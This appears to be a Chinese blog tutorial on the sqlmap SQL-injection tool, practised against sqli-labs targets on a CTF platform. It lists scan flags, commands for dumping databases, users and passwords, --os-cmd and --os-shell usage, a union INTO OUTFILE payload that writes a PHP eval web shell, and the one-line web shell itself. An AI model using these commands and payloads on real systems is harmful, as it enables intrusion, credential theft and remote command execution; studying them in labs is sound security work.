sqlmap的使用

sqlmap的使用

作用

可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

工作流程

1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库

2)尝试各种类型的注入

各种参数

1、-u

用于一个url扫描

sqlmap -u "url带参数"

2、-m

用于多个url扫描,但是文件每一行只能有一个url

sqlmap -m 1. txt

3、-r

用于post注入,在要测试注入的参数后面加*

sqlmap -r 1.txt

直接写,工具会自动识别

4、-v

用于显示信息,默认为1,一般用3和4,都要背

0、只显示python错误以及严重的信息。

1、 同时显示基本信息和警告信息。(默认等级)

2、 同时显示debug信息。

3、 同时显示注入的payload。

4、 同时显示HTTP请求。

5、 同时显示HTTP响应头。

6、 同时显示HTTP响应页面。

5、--level

用于测请求头,但不想抓包,如果抓包可以直接加*的

sqlmap -r 1.txt --level=3

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

6、--data

用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包

sqlmap -u "url" --data="id=1"

7、--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"

8、--user-agent

用于手动指定伪造一个User-Agent

sqlmap -u "url" --level 3 --user-agent="xxx"

9、--random-agent

用于随机生成UA,不过运行一次命令只能生成同一个UA

sqlmap -u "url" --level 3 --random-agent

10、--referer

用于手动指定伪造一个referer

sqlmap -u "url/?id=1" --referer="http://www.baidu.com"

11、-p

用于测试指定参数,和*,--level一样

sqlmap -u "url/?id=1" -p "id,user-angent"

12、--risk

共有三个风险等级,1-3:

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

sqlmap -u "url/?id=1" --risk=2

13、数据

-D 数据库名

-T 表名

-C 字段名

python sqlmap.py -u url -D ctftraining -T flag -C flag --dump

14、查询当前用户和密码

复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1   --users --passwords   


15、--os-cmd

用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell

python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig

执行结果:

该命令的原理就是写入木马,然后getshell

py 复制代码
id=1' union select '<?php  eval($_POST[1]);?>' into outfile '网站路径/文件名'

路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令

16、--os-shell

反弹交互shell

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1     --os-shell  


当页面出现os-shell时,就是已经连接成功了

17、--tamper

用于绕过防火墙

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1  --tamper  加需要的脚本名字

一句话木马

php 复制代码
<?php  eval($_POST["a"]);?>

eval是用于将字符串当成php代码执行

可在url上输入命令,来运行

php 复制代码
?a=echo `ipconfig`;
相关推荐
Brucye11 分钟前
信息收集-JS前端架构
网络安全
乐68214 分钟前
CISCN2026半决赛wp
python·web安全·php
AC赳赳老秦17 分钟前
OpenClaw 系统监控实战指南:构建高效的电脑/服务器状态监控与自动告警系统
服务器·开发语言·人工智能·php·ai-native·deepseek·openclaw
CDN36021 分钟前
高防服务器避坑:360CDN 高防与其他产品对比
运维·服务器·网络安全
介一安全23 分钟前
【Web安全】HTTP请求走私与CL.TE漏洞从入门到实战
web安全·网络安全·安全性测试·http请求走私
常利兵24 分钟前
Java后端定时任务抉择:@Scheduled、Quartz、XXL - Job终极对决
java·数据库·sql
me83225 分钟前
【Java】关于控制台 SQL 日志显示查询有值但Swagger不显示字段问题
java·开发语言·sql
Eason_LYC25 分钟前
封神!Apache OFBiz CVE-2024-45507 漏洞复现(从入门到反弹Shell,新手也能拿捏服务器)
服务器·web安全·网络安全·apache·apache ofbiz·cve-2024-45507·getshell
信也科技布道师33 分钟前
信也AI赋能慢SQL治理的探索与实践
数据库·人工智能·sql
枫叶丹433 分钟前
【HarmonyOS 6.0】Network Kit 深度解析:TLS 认证全面支持国密证书
开发语言·网络安全·华为·harmonyos